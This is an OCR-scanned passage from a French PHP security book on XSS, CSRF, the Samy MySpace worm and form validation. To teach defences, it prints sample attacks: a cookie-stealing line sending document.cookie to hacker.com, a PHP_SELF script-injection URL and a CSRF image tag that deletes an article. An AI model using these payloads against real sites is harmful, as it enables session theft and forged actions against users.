remplace par la sequence &1 1 ; (en anglais, 1 1 signifie lesser than , c'est-a-dire « plus petit 
que »). Cette regie s' applique ainsi aux caracteres suivants : 

• &, le « et commercial », qui commence les sequences HTML (telles que &) ; 

• ' , les guillemets simples, utilises dans les attributs ; 

• ", les guillemets doubles, utilises dans les attributs ; 

• < et >, les signes « inferieur a » et « superieur a », qui delimitent une balise 
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htmlentitiesO est une version plus complete de html speci al chars( ), elle remplace dans 
une chaine tous les caracteres possibles par leur sequence HTML. 

Cela ajoute les caracteres speciaux a la liste precedente, comme les caracteres accentues 
francais, ce qui a le double avantage de proteger la chaine de caracteres et de rendre son 
contenu plus sur a interpreter pour un navigateur web. 

print htmlentities( 'Damien Seguy & Philippe Gamache'); 
Damien Séguy & Philippe Gamache 

Le revers de la medaille est que la chaine est allongee par ces protections et qu'elle est 
rendue moins lisible a un etre humain. 

II y a par ailleurs deux autres points a prendre en compte avant de s'en remettre aveuglement 
a ces deux fonctions. 

Le premier aspect est le choix du jeu de caracteres utilise, dont depend directement la 
valeur nominale d'un caractere. PHP utilise un jeu en interne, le plus souvent ISO-8859-1 
ou latin- 1 : c'est un jeu qui couvre le francais. Les protections qui sont appliquees a une 
chaine de caracteres dependent directement du jeu de caracteres utilise. Voici la meme 
protection que dans l'exemple precedent, appliquee cette fois a une chaine de caracteres 
entrante de type Unicode, au lieu de latin- 1 : 

print htmlentities( 'Damien Seguy & Philippe Gamache'); 
Damien SÃ©guy & Philippe Gamache 

Le deuxieme argument des fonctions htmlspecialchars( ) et htmlentitiesO indique le 
nom du jeu de caracteres utilise. Utilisez done le bon jeu pour ne pas laisser passer de 
problemes. Au besoin, les fonctions i conv( ) de PHP vous aideront a verifier et convertir 
les chaines de caracteres : 

print htmlentities(iconv( 'UTF-8' , ' ISO-88590-1 * , 'Damien Seguy & Philippe Gamache')); 
Damien Séguy & Philippe Gamache 

Par ailleurs, il faut savoir que les injections de code JavaScript n'ont pas toujours besoin 
d'utiliser les caracteres speciaux de HTML pour s'executer correctement. En effet, 
JavaScript utilise d'autres caracteres speciaux, qui sont neutres pour HTML : c'est le cas 
des parentheses, des accolades et du point-virgule. De plus, JavaScript peut etre execute 
a partir d'attributs de nombreuses balises HTML. Nous etudierons cela dans les sections 
qui suivent. 



Les balises <iframe> et <frame> 

Meme si les cadres sont passes de mode, ils sont toujours disponibles dans les naviga- 
teurs modernes. On peut toujours utiliser les balises <frame> pour scinder une page en 
plusieurs parties et charger differentes URL. 

Les cadres ont aussi connu une evolution, sous la forme du iframe, le cadre integre. 
Le « i » signifie inline, e'est-a-dire integre dans le corps de la page HTML. II reserve 
un espace d'affichage dans une page web et fonctionne comme un cadre traditionnel. 
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Du point de vue de l'utilisateur, c'est totalement transparent, car aucune information 
n'est affichee explicitement pour indiquer qu'une page externe est chargee. 

Comme <iframe> et <frame> font reference a des pages web completes, il est possible de 
les utiliser pour charger des applications JavaScript completes et ainsi avoir acces a 
toutes les ressources de la page. Grace aux cadres, on peut charger un formulaire complet 
et effectuer des requetes vers des sites externes, en contournant la politique JavaScript de 
restriction des acces au domaine en cours. 

Du point de vue de l'affichage, il est possible de donner des dimensions tres reduites a un 
cadre : ainsi, il passera totalement inapercu pour l'utilisateur. 

Ce sont done les balises les plus dangereuses a utiliser, du point de vue de la securite. 

Les balises JavaScript 

Evidemment, il faut egalement se proteger contre l'injection de balises JavaScript dans 
une page web. Ces dernieres peuvent faire charger un fichier externe : par exemple, une 
bibliotheque JavaScript importee d'une URL n'aura pas de contraintes de taille. C'est 
une page blanche qui est offerte a un pirate. 

JavaScript tente actuellement de mettre en place des politiques de securite plus draconiennes, 
suivant une regie tres simple : il n'interagit qu'avec le domaine web de la page en cours. 

Par exemple, il est possible d'etablir une connexion HTTP asynchrone entre le navigateur 
web et un serveur web en JavaScript, grace a l'objet XMLHttpRequest. Toutefois, si la page 
web chargee fait partie du domaine http://www.domaine.net, alors le navigateur ne pourra 
etablir une connexion depuis cette page qu'avec ce domaine, a l'exclusion de tout autre. Si 
le navigateur a charge plusieurs pages simultanement, chaque page pourra communiquer 
separement avec chaque serveur. Elles ne pourront pas etablir des connexions croisees. 

De meme, nonobstant une faille de la part du navigateur, JavaScript ne peut manipuler 
que les cookies du domaine dans lequel il evolue. 

Une injection HTML ayant acces aux cookies du navigateur, elle peut les exporter facile- 
ment vers un autre site. II lui suffit tout simplement de charger une image sur un site externe 
et de passer les cookies lus dans la page comme argument. Cela se fait en une seule ligne : 

Img = new image( 'http://www.hacker.com/image.php?' + document. cookie ) ; 

Le site du pirate va simplement enregistrer le chargement de l'image et les parametres et 
renvoyer une image correcte, par exemple une image vide. Les cookies sont maintenant en 
possession du pirate, ainsi que de nombreuses informations de configuration du navigateur 
(HTTP_REFERER, User-agent, IP, encodage, etc.). 

Les balises images 

Les images font partie des balises souvent utilisees pour exploiter des XSS. En effet, les 
images sont omnipresentes sur un site, elles sont souvent utilisees pour personnaliser le 
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site. On peut aussi utiliser une image cachee, comme une image de 1 pixel sur 1 pixel qui 
se charge comme n'importe quelle autre, mais n'apparait pas sur la page. 

Surtout, il est possible de les utiliser pour appeler un site externe et meme de leur passer 
des arguments, comme un script PHP standard. Elles sont aussi manipulees par JavaScript, 
pour le chargement, ou meme l'affichage. 

Inversement, les images sont egalement capables de declencher des actions JavaScript : 

<img src="javascript:alert( 'injection' ) ;" /> 

Nous avons vu dans la section precedente comment utiliser une image pour exporter des 
cookies vers un site externe. Parfois, 1' image chargee peut elle-meme contenir du code 
JavaScript et etre a son tour executee. Certains navigateurs, comme Internet Explorer 
permettaient le chargement d'images sous forme de code. Apres le chargement, le navi- 
gateur identifiait non plus une image mais bien une bibliotheque JavaScript et entreprenait 
de l'executer, comme l'aurait fait une balise <script>. 

En resume, par leur omnipresence et leur polyvalence, les images sont un excellent 
vecteur de vulnerabilite. 



Les URL 

Les URL represented un autre vecteur de vulnerabilite, plus discret. On s'en sert dans de 
nombreux attributs, comme pour les balises de liens, d'images, de cadre, de feuilles de 
styles ou de bibliotheques JavaScript. Elles peuvent entrer dans une page via un formu- 
laire, ou provenir des informations que PHP met a votre disposition via les tableaux 
superglobaux. 

Les tableaux superglobaux $_6ET, $_P0ST, $_REQUEST et $_C00KIE sont couramment identi- 
fies comme des points d' entree pour les injections HTML : en effet, ils sont entierement 
fournis par le navigateur et decodes simplement par PHP avant d'etre fournis au script. 
$_SESSI0N est generalement considere comme sur, car les donnees de ce tableau sont 
toujours imposees par PHP. II reste cependant les cas de $_SERVER et $_ENV, qui sont ambigus. 

Les donnees de ces variables proviennent directement du serveur web qui assure les 
communications entre le client et le navigateur. $_SERVER donne des informations sur le 
serveur web utilise et $_ENV sur l'environnement d'execution. Dans l'ensemble, ces 
donnees sont relativement fiables. Par exemple, l'adresse IP ou le nom d'hote du serveur 
web est tres difficile a manipuler. Mais d'autres valeurs sont plus faciles a modifier, car le 
serveur web les extrait des en-tetes HTTP, fournis par le client et les transmet directement 
a PHP. Passons-les en revue. 

IP et REMOTE ADDR 

LIP identifie l'adresse du client qui vient demander une page sur le serveur web. Cette 
information est generalement assez fiable, car le client et le serveur doivent l'utiliser 
pour etablir la communication. II existe des techniques d'attaque au niveau du reseau par 
usurpation d'lP type spoofing, ou le pirate envoie des requetes au serveur, au nom d'une 
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autre adresse IP. II ne recoit pas la reponse du serveur, car cette derniere est envoyee a 
TIP legale, mais c'est parfois suffisant pour poser des problemes. 

II reste le cas plus courant des serveurs proxy, qui se placent entre le client et le serveur 
et relaient les informations de l'un a l'autre. Les proxy sont souvent utilises en entreprise 
pour fournir un point unique d'entree a Internet et surveiller plus facilement les commu- 
nications, tant pour les virus entrants que les contenus consultes. 

Dans ce cas de figure, c'est 1' adresse du proxy qui est utilisee lors de la connexion au 
serveur web et non plus celle du client reel, enregistree dans un autre en-tete HTTP : 
HTTP_X_FORWARDED_BY. 

Les en-tetes HTTP_X_FORWARDED_BY et REMOTE_ADDR sont faciles a manipuler par un pirate. Si 
les adresses sont stockees dans une base de donnees, cet en-tete pourra donner lieu a des 
injections. Pour les logs, il est primordial de valider 1' adresse qui est enregistree via son 
adresse IP numerique : utilisez la fonction ip21ong( ). 

HTTPREFERER 

HTTP_REFERER est une specification du protocole HTTP qui indique la derniere page visitee 
par le navigateur avant d'arriver sur la page actuelle. Cet en-tete permet de suivre la 
progression d'un navigateur sur un site, ou les relations entre deux sites : elle est tres 
pratique pour etablir des tables de navigation. 

Du point de vue de la securite, c'est une information qui est tres peu fiable. Elle depend 
entierement du navigateur : si ce dernier ne souhaite pas l'indiquer, il l'omettra. Par 
consequent, il est possible de l'utiliser pour etablir des statistiques de navigation, mais 
pas pour s' assurer du passage d'un visiteur sur une page. 

Inversement, la presence de cette information n'est pas gage de certitude. Un pirate peut 
facilement donner a cet en-tete la valeur de son choix, pour faire croire qu'il provient 
d'une page quelconque : il peut specifier virtuellement les valeurs qu'il souhaite sans 
perturber la communication avec le serveur web. 

Cela signifie qu'il ne faut jamais utiliser HTTP_REFERER pour s'assurer de la navigation 
d'un utilisateur sur votre site. De plus, si vous enregistrez cette information dans un 
systeme de log, faites encore plus attention aux injections ou aux XSS qui pourront etre 
stockees dans vos fichiers de log. 

La meilleure chose est de considerer cette information comme peu fiable et de ne l'utili- 
ser que pour des questions statistiques. 

PHP_SELF, PATHJNFO et PATH TRANSLATED 

PHP_SELF, PATH_INF0 et PATHJTRANSLATED sont trois informations provenant du serveur web 
et directement envoyees par le navigateur. En premiere approche, elles sont considerees 
comme sures, car le serveur web en a besoin pour identifier le fichier PHP qui sera 
execute. Si le fichier est trouve, c'est immanquablement que 1' information fournie est 
exacte et exempte de probleme. 
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La realite est toute autre. En fait, $_SERVER['PHP_SELF'] peut contenir des informations 
supplementaires : elles ne vont pas gener la recherche du script par le serveur web, mais 
perturberont la page web finale. C'est encore un exemple de probleme qui affecte une 
technologie, mais pas 1' autre. Ici, ce qui embarrasse le navigateur est totalement valide 
pour le serveur web. 

Pour illustrer le probleme, voici un formulaire courant, enregistre dans un fichier sur le 
serveur web : 

<html> 

<body> 

<form action="<?php echo $_SERVER['PHP_SELF']; ?>"> 
<input type="submit" val ue="Al 1 er" /> 
</form> 
</body> 
</html> 

Le formulaire se cree automatiquement, a l'aide de $_SERVER['PHP_SELF']. Si le fichier 
contenant le script change de nom, le formulaire HTML sera toujours valide : l'attribut 
d' action du formulaire va changer aussi. 

Or, dans certaines configurations, le serveur web lit la chaine de gauche a droite, pour 
rechercher le fichier qui sera execute. Des qu'il trouve un script, il s'arrete et lance 
1' execution. Ainsi, en lui donnant l'URL suivante : 

http://www.site.com/index.php/autres_donnees 

le serveur web trouve le script index. php et met dans la variable $_SERVER['PHP_SELF'] la 
chaine '/index.php/autres_donnees '. La page web devient : 

<html> 

<body> 

<form action="/index.php/autres_donnees"> 

<input type="submit" val ue="Al 1 er" /> 
</form> 
</body> 
</html> 

Avec ce que nous avons vu precedemment, vous aurez vite compris qu'en modifiant 
correctement autres_donnees : 

http://www.si te.com/index.php/%22%3E%3Cscript%3Ealertt 'xss ' )%3C/script%3E%3C 

le pirate peut maintenant modifier la balise de formulaire form et realiser une injection de 
code JavaScript, ce qui donne : 

<html> 

<body> 

<form action="/index.php/"Xscript>alert( 'xss' )</script > 

<input type="submit" val ue="Al 1 er" /> 
</form> 
</body> 
</html> 
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En conclusion, protegez toujours PHP_SELF, PATH_INF0 et PATH_TRANSLATED avec htmlenti- 
ties() avant de les utiliser dans une balise HTML. Certes, cela va propager l'injection 
HTML dans les prochaines occurrences du formulaire, mais evitera la vulnerabilite XSS. 
De plus, comme les noms de fichiers sont generalement compatibles avec les URL, cette 
protection est simple a utiliser. 



CSRF : les utilisateurs en otage 

A partir des XSS, il est possible d'elaborer des attaques encore plus vicieuses : les CSRF. 
Si le fait de pouvoir injecter un peu de JavaScript dans une page web ne vous donne pas 
de sueurs froides, les paragraphes qui suivent devraient vous montrer la valeur de ces 
vulnerabilites. 

Les CSRF, aussi appelees XSRF (Cross-Site Request Forgeries, se prononce « Sea 
Surf »), sont une autre forme d'attaque sur le Web. Elles se basent principalement sur le 
navigateur, qui sert de plaque tournante entre plusieurs sites web et notamment ceux pour 
lesquels il a obtenu des privileges particuliers. 

Pour bien comprendre une attaque CSRF, il faut commencer par identifier les personnes 
qui jouent dans la piece. Attention, les acteurs vont etre nombreux. Commencons par la 
victime, celle qui va subir les consequences directes de 1' attaque. 

L application victime d' une CSRF est une application plutot bien securisee : elle a mis en 
place plusieurs couches de securite complementaires, pour mieux derouter les pirates. 
Par exemple, 1' identification des visiteurs, la protection des pages d' administration par 
identification HTTP, la mise en place d'une session PHP, le verrouillage de 1TP des utili- 
sateurs. Pour obtenir le droit d' utiliser les fonctionnalites de 1' application victime, il faut 
fournir plusieurs mots de passe et disposer d'une IP listee dans les domaines autorises. 
Rien de tout cela n'est en possession du pirate qui organise la CSRF : d'ailleurs, a aucun 
moment de l'operation, il ne sera en possession de ces informations. Les seuls qui dispo- 
sent de ces informations sont l'administrateur du site et l'utilisateur dument affranchi. 
Leur utilisation du site est completement valide et normale, sans histoire jusqu'a maintenant. 

Apres avoir termine ses operations quotidiennes, l'administrateur du site victime se rend 
sur un autre site web. 

Le deuxieme site est completement distinct du premier. II n' a aucun rapport avec 1' appli- 
cation victime. II est simplement porteur d'une vulnerabilite XSS, qui permet a un pirate 
d' injecter du code HTML dans ses pages. 

Apres 1' application victime, l'utilisateur inconscient et 1' application tierce, voici mainte- 
nant 1' entree en scene du pirate. Ce dernier va utiliser 1' application tierce et la vulnera- 
bilite XSS pour injecter une image dans la page et la faire lire par l'administrateur du site 
victime. Une telle image comportera une adresse URL du type : 

<img src="http://appl ication. victime. com/administration/efface. php?id=22" /> 
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Lorsque 1' administrates charge la page avec la vulnerability XSS, il charge aussi une 
image sur le site qu'il administre. En fait, ce n'est pas une image valide. Si vous lisez 
semantiquement 1'URL presentee en illustration de la XSS, c'est un lien vers une page 
d' administration du site victime, qui efface un article du site : celui d'identifiant 22. 

Ainsi, au lieu de charger une image sur le site qu'il consulte, 1' administrateur declenche 
en fait l'effacement d'un article. Du point de vue de l'application victime, c'est une 
commande completement valide : elle recoit un ordre provenant d'un utilisateur legitime 
et dument identifie comme un administrateur raisonnable. 

Si on revoit les techniques qui ont ete mises en place pour proteger le site victime, on 
s'apercoit que les securites ne protegent pas le site : la session PHP est bien celle de 
P administrateur et le pirate Putilise sans meme la connaitre ; meme chose pour la session 
HPPP ; et la validation par le domaine de PIP est aussi valide. Au bout du compte, 
Pordre est bien transmis au site victime, qui n'a aucun autre choix que de Paccepter. 

Le probleme principal ici est que l'application victime n'a aucun moyen pour se defendre : 
une fois qu'un utilisateur est correctement identifie, elle en accepte toutes les commandes. 
Or, par souci de commodite pour l'internaute, l'identite est automatiquement envoyee au 
site par le navigateur quand il sollicite une page : le cookie de session, les identifiants 
HPPP et son IP sont transmis au site pour verifications. Ces donnees sont toujours vala- 
bles, sauf peut-etre la session PHP qui va disparaitre au bout de 15 minutes si on utilise 
la configuration standard de PHP. Ainsi, 1' administrateur a conserve ses droits sur le site 
victime, alors qu'il l'a quitte et qu'il ne Putilise plus vraiment. 

Du point de vue du camouflage, les CSRF sont d'autant plus vicieuses que le pirate 
exploite la vulnerabilite d'un autre site pour faire executer ses commandes demoniaques. 
L'application victime aura beaucoup de mal a remonter a la source des commandes pour 
parer le coup. Elle arrivera a identifier 1' administrateur comme origine du probleme et 
peut-etre meme le site vulnerable a la XSS comme origine de la navigation desastreuse. 
Mais pour remonter encore au pirate, il faudra d'autres efforts. 

La CSRF utilise plusieurs capacites des navigateurs pour arriver a ses fins. D'abord, il y 
a la possibility de naviguer simultanement sur plusieurs sites. Notez tout de meme que la 
CSRF pourrait tres bien fonctionner sequentiellement : 1' administrateur gere son site, 
puis se rend sur le site vulnerable. La CSRF exploite ainsi la conservation des autorisations. 
Comme les droits d'un site sont conserves durant un certain temps, un site tiers peut tres 
bien exploiter les droits acquis par un navigateur. 

Enfin, pour finir de brosser un tableau bien noir, notez bien que l'exemple ci-dessus 
utilise une attaque par methode GET : c'est la plus simple a presenter dans le cadre d'un 
livre. II serait tout a fait possible d'exploiter la XSS pour realiser une soumission de 
formulaire via la methode POST, que ce soit avec du code JavaScript un peu plus elabore, 
ou avec une animation Flash. 

Pour terminer, voici une illustration simple d'une CSRF, qui ne fait meme pas appel a 
une vulnerabilite XSS. Une pratique courante sur Internet est de placer sur un site des 
images en provenance d'un autre site. Quand cela se fait dans le cadre d'un webmail, 
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c'est une pratique reconnue. Quand l'objectif vise est d'epargner au premier site les cofits 
en bande passante et de les reporter sur le deuxieme site, cela s'appelle du vol de bande 
passante, bandwidth theft ou encore hot linking en anglais. 

Une technique de defense des sites victimes de ces pratiques consiste a remplacer 
l'image ou la ressource frequemment demandee par une redirection vers une URL du 
type http://www.site-appelant.com/logout.php. De cette maniere, quiconque charge la 
page sur le site original, va aussi chercher 1' image sur le site victime, mais sera automa- 
tiquement redirige vers la page de deconnexion. Cela va paralyser tous les comptes qui 
affichent cette image, jusqu'a ce qu'elle disparaisse du site. Imaginez alors que l'admi- 
nistrateur soit le seul a pouvoir supprimer cette image : comment va-t-il pouvoir le faire 
s'il est automatiquement deconnecte a chaque fois que l'image s'affiche ? 

Dans cette situation, la CSRF fait bien appel aux droits acquis d'un utilisateur pour lui 
nuire, sans jamais acceder a ses elements identifiants. On voit alors toute la difficulte 
qu'il y a a identifier ce type d'attaque et a s'en premunir. 



Se defend re contre une CSRF 

La defense contre une CSRF se fait essentiellement avec deux mesures : il faut compli- 
quer la vie des pirates et s'assurer souvent de l'identite des utilisateurs. 

Pour compliquer la vie des pirates, il est recommande de ne plus utiliser de methode GET 
telle que presentee dans l'exemple precedent. Une methode POST ou bien un enchaine- 
ment de plusieurs pages avant d'arriver a 1' execution de l'effacement rendra 1' operation 
plus difficile a transformer en JavaScript et a faire passer par une attaque XSS. 

Par ailleurs, l'ajout d'un ecran de confirmation avant la finalisation de l'operation est une 
bonne technique. C'est exactement ce que font les systemes d' exploitation avant une 
tache irreversible comme un effacement de fichiers : un dialogue apparait avec une 
demande de confirmation. Les demandes de confirmation HTML sont faciles a contour- 
ner, car elles necessitent simplement l'envoi d'un jeton de confirmation supplementaire. 
D'un autre cote, une confirmation JavaScript est aussi simple a contourner, mais son 
intrusion dans l'ecran pourra surprendre un utilisateur et l'alerter qu'une catastrophe est 
en cours : pourquoi est-ce qu'une alerte du site victime.application.com apparait sur le 
site de vulnerable.site.com ? 

En fait, cette approche est contournable, car on n'a pas encore trouve ce qui bloque reel- 
lement une CSRF : ce que cette attaque doit absolument eviter, c'est une demande 
d' identification de 1' utilisateur. En effet, cette information est detenue uniquement par 
l'utilisateur et pas du tout par le pirate. Pour bloquer efficacement une CSRF, il faut done 
valider l'identite de l'utilisateur avant toute operation sensible. Si cette etape echoue, 
probablement y a-t-il usurpation d'identite, d'une maniere ou d'une autre. 

Verifier l'identite de l'utilisateur en permanence finit par nuire a l'ergonomie d'un site. 
Taper 15 caracteres entre deux clics sur des hyperliens est un moyen efficace pour reduire 
a neant l'ergonomie d'un site : force est de le reconnaitre. II faut done trouver un 
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compromis acceptable. Vous devez mesurer 1' importance strategique de 1' operation qui 
est demandee a 1' application et le niveau de securite associe. Une operation irreversible 
comme un effacement ou la publication d'un contenu apres moderation est une operation 
cruciale pour un site web : il est recommande de demander une nouvelle authentification 
avant de l'executer. En revanche, l'ajout d'un nouveau contenu sans publication et la 
consultation des statistiques peuvent etre considered comme des operations benignes : il 
ne sera pas opportun de demander a nouveau l'identite de l'usager. 

La bonne pratique consiste done a identifier les operations les plus importantes et a les 
proteger avec une nouvelle authentirication systematique. 

Une autre solution consiste a implanter un systeme d'identification aleatoire : apres un 
certain temps, inferieur a la duree d'une session, ou apres un certain nombre de clics dans 
le site, 1' application demande automatiquement une identification. Si votre application 
est critique, vous pourrez reduire le laps de temps entre deux identifications au plus bas 
possible, tandis que si vous voulez une politique plus souple, vous augmenterez ces 
valeurs. La politique de securite est maintenant parametrable. 



Ces virus qui s'installent 

L'un des aspects particuliers des attaques web est leur caractere transitoire. II faut fournir 
a une victime une URL construite de maniere specifique pour lancer l'attaque. Apres 
execution, l'attaque s'arrete d'elle-meme. 

Ce n'est pas le cas d'un virus, qui s'installe dans un systeme, se reproduit et se diffuse a 
tous les systemes proches qu'il peut contaminer. 

En fait, la seule difference entre un virus et une attaque web reside dans le fait que les 
systemes de stockage sont un peu plus difficiles a atteindre et a exploiter. Hormis les 
cookies, il n'y a pas de stockage permanent sur le navigateur. La seule possibilite est sur 
le serve ur web, dans la base de donnees, le systeme de fichiers ou toute autre technologie 
persistante. A ce titre, le virus qui a attaque MySpace est riche d'enseignement. 

Au debut de l'histoire, Samy, l'auteur, voulait agrandir son cercle d'amis sur le site 
communautaire MySpace. Ce dernier autorise chaque personne ayant un compte a accepter 
un autre membre comme ami, encore faut-il le convaincre. Outre les relations sociales, a 
la base de l'esprit de ce reseau, il y a la possibilite de faire un CSRF, et e'est la voie que 
Samy a choisie. 

Par chance, il realise que, dans son profil, le champ de titre est vulnerable aux injections 
HTML. II s'en sert pour agrandir le champ et y injecter autant de code qu'il le souhaite. 
Puis, il adapte le code qui est stocke dans le titre de son profil et place une CSRF : son 
attaque force la victime a aj outer Samy comme ami dans son profil et a enregistrer l'atta- 
que CSRF dans le profil de la victime (entre autres). A partir de la, il lui suffit d'attirer un 
premier utilisateur sur son compte pour que ce dernier soit infecte. Chaque visiteur 
touche devient une source de diffusion de la CSRF et le nombre d'amis de Samy croit de 
maniere exponentielle : « Samy is my hero ». 
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Dans cette configuration, c'est l'architecture de MySpace qui assure le stockage du virus. 
L'attaque CSRF vise le navigateur des visiteurs du site. PHP et MySQL, qui sont les 
technologies utilisees sur le site, ne sont jamais affectes par l'attaque CSRF. PHP mani- 
pule bien, a defaut de le valider, le code JavaScript et MySQL en assure le stockage. Puis, 
au moment de l'affichage, MySQL retrouve le bon code et PHP se charge de l'envoyer a 
la victime. Techniquement, MySpace fonctionne tres bien. Fonctionnellement, c'est une 
autre affaire. 

Cette mesaventure demontre clairement qu'il est possible d' assurer le stockage du virus 
directement dans 1' application. En fait, le site de MySpace a continue a fonctionner 
correctement, mais servait de stockage et de vecteur de propagation du virus. Lorsque ce 
dernier a atteint des proportions dementielles, les administrateurs ont fini par eteindre le 
site. Or, cette solution n'est que temporaire. 

En effet, sans nettoyage complet des donnees en base, le virus Samy est toujours stocke 
dans les tables MySQL. L' arret du systeme stoppe sa propagation entre les utilisateurs, 
mais des que l'application est remise en marche, les utilisateurs impatients retournent sur 
leur profil et sont de nouveau victimes du virus. Sans comprehension fine du probleme, 
c'est toute l'application qui se retrouve paralysee indefiniment. 

Concernant la securite, la conclusion de cette malheureuse histoire est que la protection 
de chaque technologie independamment des autres ne pourra pas assurer la protection de 
la totalite de votre application. II faut aborder la securite de l'application technologie par 
technologie, mais aussi d'un point de vue global. 

Des techniques de defense en profondeur auraient pu ajouter une protection supplemen- 
tal : au lieu de supposer que PHP se chargerait toujours de la protection du titre, peut-etre 
que MySQL aurait pu ajouter ses propres validations de taille au lieu de stacker toutes 
les informations. 
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Formulaires 
et telechargement : 
valider les donnees 



La nature dynamique des sites modemes permet de personnaliser le contenu qui est affiche 
grace a des parametres fournis par Futilisateur, soit explicitement comme pour un formulaire, 
soit implicitement via des cookies ou la description du navigateur. 

Nous presentons dans ce chapitre tous les risques inherents a l'echange de donnees sensi- 
bles avec les internautes, que ce soit via les formulaires ou par telechargement de 
fichiers. II est vital pour votre application de verifier et valider chacune des donnees 
entrantes, mais aussi, nous le verrons plus loin, de neutraliser celles qui seront transmises 
aux applications connexes. 



Les formulaires 

Les formulaires font partie des points les plus vulnerables des applications web : les 
scripts d' action fonctionnent exclusivement a partir de donnees provenant de l'utilisateur. 
Rares sont les formulaires qui acceptent de marcher sans un minimum de donnees 
dynamiques : au pire, des valeurs par defaut sont utilisees. 

Un script de formulaire reagit suite a la soumission d'un formulaire. Les formulaires ont 
traditionnellement une apparence proche de ceux de ceux de la Securite sociale, avec des 
boutons en plus. 
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II existe aussi des scripts qui ne passent pas par des formulaires interactifs : pour gerer du 
contenu en ligne par exemple, il est frequent d'acceder a un article via un script generique 
et un identifiant passe en argument dans l'URL, comme ceci : 

http: //www. site. com/ afficher.php?id=22 

En lisant semantiquement cette URL, on comprend qu'elle va afficher le contenu 
d'identifiant 22. Sous cette forme, afficher.php n'utilise pas de formulaire, mais presente 
les memes caracteristiques : il fonctionne a partir de donnees choisies dynamiquement 
par le visiteur, via un lien hypertexte astucieusement presente. En fait, il ne serait pas 
difficile de creer un formulaire HTML pour gerer l'acces a cette page. 

Les concepts que nous allons aborder dans les deux prochaines sections s'appliquent aux 
scripts d' action, ou scripts de formulaire, c'est-a-dire tous ces scripts qui acceptent des 
donnees de l'exterieur, quelle que soit leur provenance. Dans tous les cas, ils doivent 
faire face aux memes menaces. 



Quel les defenses pour les formulaires ? 

Pour tester la robustesse d'un formulaire, la premiere tactique consiste a le deplacer. 
Grace au fonctionnement deconnecte du Web, il est possible de prendre le code HTML 
d'un formulaire dans une page web quelconque et de le recopier sous forme de source 
dans un fichier local. 

Cette copie ne sera peut-etre pas immediatement utilisable : les actions sont souvent dirigees 
sur un script qui est relatif au formulaire. Pour regler ce probleme, il suffit de modifier 
l'attribut acti on pour ajouter une URL absolue. De la sorte, un lien : 

| <form action="afficher.php" method="POST"> 

devient par exemple : 

<form act ion=" http: //www. si te.com/afficher.php" met hod=" POST" > 

Maintenant, le fichier local est totalement fonctionnel et permet de sollicker le site web 
distant. Le gros avantage pour l'attaquant est que ce fichier peut etre modifie sans 
probleme : suppression de limitation, telle que MAX_FILE_SIZE pour les balises de fichiers, 
remplacement des balises select par des champs de texte libre, remplacement de la 
methode POST par GET, ajout ou retrait de champs, etc. 

II existe aussi des outils directement integres dans les navigateurs, comme la barre de 
Chris Pederick qui permet notamment de realiser la transformation precedente en un clic 
de souris : http://chrispederick.com/work/webdeveloper/ 

En realite, il n'y a pas de gros probleme avec cette technique. Les pirates et les auditeurs 
de securite s'en servent pour tester rapidement un formulaire. Elle est suffisamment rudi- 
mentaire pour etre mise en place rapidement et permettre des tests rapides, que ce soit en 
chevalier blanc ou noir. 
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II faut bien comprendre que la separation entre le formulaire et le script qui recoit les 
donnees n'est pas une difriculte. La veritable securite provient des validations qui sont 
faites sur les donnees entrantes, quelle que soit leur provenance et non pas de la place du 
formulaire initial. 

La suppression des defenses JavaScript 

Toujours grace au deplacement des formulaires, il est possible de lever les defenses 
JavaScript : en modifiant le code HTML du formulaire sauve localement, on peut simple- 
ment supprimer l'utilisation des attributs comme OnSubmitO ou On Load () et obtenir un 
formulaire HTML inerte. 

Au demeurant, JavaScript peut etre desactive dans les options des navigateurs. 

Au bout du compte, il est important de comprendre que toute validation qui se fait du 
cote du navigateur doit etre doublee par une validation cote serveur. II est facile de 
comprendre que si on peut desactiver JavaScript, il n'est pas possible de desactiver PHP. 

En ces temps de Web 2.0, ou l'ergonomie est un fer de lance incontournable, il n'est pas 
pensable de se passer de JavaScript. Au demeurant, la securite d'une application ne 
l'exige pas : il faut simplement considerer ce langage comme une option de securite. 
Cela revient a dire que si JavaScript arrive a identifier un probleme a l'aide des criteres de 
validation et a le signaler avant que le serveur ne soit sollicite, c'est une bonne chose : 
cela represente d'autant moins de travail a faire cote serveur. Cependant, dans tous les 
cas, il faudra faire un travail identique lors du traitement final des donnees. 

Les enchamements de pages web 

Dans certaines applications web, il est important de savoir de quelle page provient le visi- 
teur avant de passer a la page suivante. Cela se rapproche des notions de workflow, oil 
une action en autorise une autre. En termes de securite, une succession de validations 
placees sur plusieurs pages apporte un supplement de protection, sans constituer une 
solution universelle. En effet, de par la nature sans etat du protocole HTTP, il est difficile 
de garantir qu'une page en suit une autre. 

Le premier reflexe est d'utiliser l'en-tete HTTP HTTP_REFERER, qui indique l'URL de la 
page precedente. 

Les approches basees sur cette technique sont vulnerables de deux manieres : 

• Premierement, HTTP_REFERER n'est indique par le navigateur que s'il le veut bien. En 
effet, tous les navigateurs ne l'envoient pas, meme s'ils le reconnaissent et l'utilisent 
correctement. 

• Deuxiemement, HTTP_REFERER est entierement fourni par le navigateur : il peut tres bien 
donner une valeur quelconque, y compris celle qui permettra d' obtenir le formulaire 
desire. 
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Au bout du compte, comme nous l'avons vu precedemment, on ne peut meme pas utiliser 
cet en-tete pour mettre en place une petite securite de plus. 



Construire une attaque HTTP 

Le deplacement de formulaire HTML est un moyen rudimentaire pour preparer une atta- 
que. C'est une technique exploratoire, qui permet de tester un formulaire facilement, 
mais n'autorise pas une attaque de grande envergure. Pour cela, il faut d'autres outils, 
lesquels sont malheureusement a la portee de tous. 

En pratique, un navigateur collecte les informations, puis les organise au format HTTP 
pour les envoyer au serveur web. Voici a quoi ressemble une requete HTTP sur le site de 
www.nexen.net : 

GET /index. php?id=33 HTTP/1.1 
Host: www.nexen.net 

User-Agent: Mozilla/5.0 (Macintosh; Uj Intel Mac OS X; fr) ApplewebKit/418.9.1 
*(KHTML, like Gecko) Safari/419.3 
Connection: close 

Sans entrer dans les arcanes du protocole, on repere aisement les informations : le nom du 
script demande (index. php), les arguments passes (id=33), le site utilise (www.nexen.net), 
ainsi que les informations complementaires fournies par le navigateur (ici, le User-agent). 

Une methode POST sera assez similaire, sauf en ce qui concerne l'envoi des donnees : 
elles sont maintenant transmises apres les en-tetes : 

POST /index. php?id=33 HTTP/1.1 

Host: www.nexen.net 

User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X; fr) ApplewebKit/418.9.1 

©*(KHTML, like Gecko) Safari/419.3 

Cn tent-Type: appl ication/x-www-form-url encoded 

Content-Length: 17 

